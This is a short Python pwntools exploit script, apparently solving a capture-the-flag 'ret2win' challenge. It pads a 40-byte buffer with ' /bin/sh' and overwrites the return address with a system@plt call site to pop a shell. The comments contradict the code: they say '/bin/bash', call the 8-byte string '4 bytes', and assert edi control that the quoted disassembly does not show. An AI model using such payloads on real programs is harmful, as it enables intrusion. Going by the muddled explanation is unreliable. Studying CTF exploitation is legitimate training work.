from pwn import *
####
###   0x0000000000400824 <+19>:	mov    edi,0x4009fd
 ##  0x0000000000400829 <+24>:	call   0x4005e0 <system@plt>

###/// If we see the disass of ret2win function we can see that system is reading the argument from edi and we fully control edi with our buffer
## so redirect function to system code and make sure your edi points to your string i.e /bin/bash also to make the string exactly 4 bytes we added space in front of the string

####
### offset = 40
payload = ""
payload += " /bin/sh".ljust(40," ") 
payload += p64(0x0000000000400829)

print payload
